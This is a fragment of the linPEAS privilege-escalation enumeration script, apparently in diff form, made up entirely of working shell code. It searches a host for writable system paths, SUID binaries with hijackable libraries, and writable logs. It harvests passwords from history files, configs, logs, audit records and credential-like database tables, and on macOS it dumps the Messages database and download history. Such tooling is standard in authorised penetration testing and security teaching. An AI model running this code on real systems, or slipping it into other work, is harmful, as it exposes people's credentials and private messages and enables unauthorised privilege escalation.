if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) Read root dir
|
||||
print_list "Can I read root folder? .............. "
|
||||
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
|
||||
echo ""
|
||||
|
||||
##-- IF) Root files in home dirs
|
||||
print_2title "Searching root files in home dirs (limit 30)"
|
||||
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Others files in my dirs
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Searching folders owned by me containing others files on it (limit 100)"
|
||||
(find / -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Readable files belonging to root and not world readable
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Readable files belonging to root and readable by me but not world readable"
|
||||
(find / -type f -user root ! -perm -o=r 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Modified interesting files into specific folders in the last 5mins
|
||||
print_2title "Modified interesting files in the last 5mins (limit 100)"
|
||||
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
##-- IF) Writable log files
|
||||
print_2title "Writable log files (logrotten) (limit 100)"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation"
|
||||
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
||||
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
||||
logfind=$(find / -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 100)
|
||||
printf "%s\n" "$logfind" | while read log; do
|
||||
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
|
||||
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
|
||||
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
|
||||
##-- IF) Files inside my home
|
||||
print_2title "Files inside $HOME (limit 20)"
|
||||
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Files inside /home
|
||||
print_2title "Files inside others home (limit 20)"
|
||||
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Mail applications
|
||||
print_2title "Searching installed mail applications"
|
||||
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps"
|
||||
echo ""
|
||||
|
||||
##-- IF) Mails
|
||||
print_2title "Mails (limit 50)"
|
||||
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g" | sed "s,root,${SED_GREEN},g") || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Backup folders
|
||||
print_2title "Backup folders"
|
||||
printf "%s\n" "$backup_folders" | while read b ; do
|
||||
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
|
||||
ls -l "$b" 2>/dev/null && echo ""
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) Backup files
|
||||
print_2title "Backup files (limited 100)"
|
||||
backs=$(find / -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
|
||||
printf "%s\n" "$backs" | head -n 100 | while read b ; do
|
||||
if [ -r "$b" ]; then
|
||||
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
|
||||
fi;
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) DB files
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Reading messages database"
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
|
||||
|
||||
fi
|
||||
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
|
||||
FILECMD="$(command -v file 2>/dev/null)"
|
||||
if [ "$PSTORAGE_DATABASE" ]; then
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if [ "$FILECMD" ]; then
|
||||
echo "Found: $(file $f)" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
else
|
||||
echo "Found: $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
SQLITEPYTHON=""
|
||||
echo ""
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
|
||||
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
|
||||
tables=$(sqlite3 $f ".tables" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
|
||||
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
|
||||
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
else
|
||||
tables=""
|
||||
fi
|
||||
if [ "$tables" ] || [ "$DEBUG" ]; then
|
||||
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
|
||||
printf "%s\n" "$tables" | while read t; do
|
||||
columns=""
|
||||
# Search for credentials inside the table using sqlite3
|
||||
if [ -z "$SQLITEPYTHON" ]; then
|
||||
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
|
||||
# Search for credentials inside the table using python
|
||||
else
|
||||
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
|
||||
fi
|
||||
#Check found columns for interesting fields
|
||||
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
|
||||
if [ "$INTCOLUMN" ]; then
|
||||
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
|
||||
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
|
||||
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
|
||||
fi
|
||||
echo ""
|
||||
done
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Downloaded Files"
|
||||
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
|
||||
fi
|
||||
|
||||
##-- IF) Web files
|
||||
print_2title "Web files?(output limit)"
|
||||
ls -alhR /var/www/ 2>/dev/null | head
|
||||
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
|
||||
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
|
||||
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
|
||||
echo ""
|
||||
|
||||
##-- IF) All hidden files
|
||||
print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
|
||||
find / -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70
|
||||
echo ""
|
||||
|
||||
##-- IF) Readable files in /tmp, /var/tmp, bachups
|
||||
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
|
||||
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70)
|
||||
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
|
||||
echo ""
|
||||
|
||||
##-- IF) Interesting writable files by ownership or all
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files"
|
||||
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
||||
obmowbe=$(find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
printf "%s\n" "$obmowbe" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -qE "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Interesting writable files by group
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files"
|
||||
for g in $(groups); do
|
||||
iwfbg=$(find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
||||
printf " Group $GREEN$g:\n$NC";
|
||||
printf "%s\n" "$iwfbg" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -Eq "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history files
|
||||
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history files"
|
||||
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in config PHP files
|
||||
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in config PHP files"
|
||||
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords files in home
|
||||
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching *password* or *credential* files in home (limit 70)"
|
||||
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) TTY passwords
|
||||
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
|
||||
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
|
||||
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
##-- IF) IPs inside logs
|
||||
if [ "$DEBUG" ]; then
|
||||
print_2title "Searching IPs inside logs (limit 70)"
|
||||
(find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords inside logs
|
||||
print_2title "Searching passwords inside logs (limit 70)"
|
||||
(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
if [ "$DEBUG" ]; then
|
||||
##-- IF) Emails inside logs
|
||||
print_2title "Searching emails inside logs (limit 70)"
|
||||
(find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
##-- IF) Find possible files with passwords
|
||||
print_2title "Searching passwords inside key folders (limit 70) - only PHP files"
|
||||
intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
|
||||
printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
print_2title "Searching passwords inside key folders (limit 70) - no PHP files"
|
||||
printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
##-- IF) Find possible files with passwords
|
||||
print_2title "Searching possible password variables inside key folders (limit 140)"
|
||||
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
wait
|
||||
echo ""
|
||||
|
||||
##-- IF) Find possible conf files with passwords
|
||||
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
|
||||
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
printf "%s\n" "$ppicf" | while read f; do
|
||||
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
|
||||
echo "$ITALIC $f$NC"
|
||||
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) Find possible regexes
|
||||
peass{REGEXES}
|
||||
fi
|
||||
@@ -1,491 +0,0 @@
|
||||
###########################################
|
||||
#-) Files with Interesting Permissions (-#
|
||||
###########################################
|
||||
|
||||
check_critial_root_path(){
|
||||
folder_path="$1"
|
||||
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
##-- IPF) SUID
|
||||
print_2title "SUID - Check easy privesc, exploits and write perms"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
if ! [ "$STRINGS" ]; then
|
||||
echo_not_found "strings"
|
||||
fi
|
||||
if ! [ "$STRACE" ]; then
|
||||
echo_not_found "strace"
|
||||
fi
|
||||
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $suids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total"; then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ]; then
|
||||
|
||||
if [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
|
||||
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$LDD" ] || [ "$READELF" ]; then
|
||||
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
|
||||
fi
|
||||
if [ "$LDD" ]; then
|
||||
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
if [ "$READELF" ]; then
|
||||
"$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
|
||||
if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
|
||||
printf $ITALIC
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
|
||||
export LD_LIBRARY_PATH=""
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf $NC
|
||||
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
|
||||
##-- IPF) SGID
|
||||
print_2title "SGID"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $sgids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total";then break; fi
|
||||
|
||||
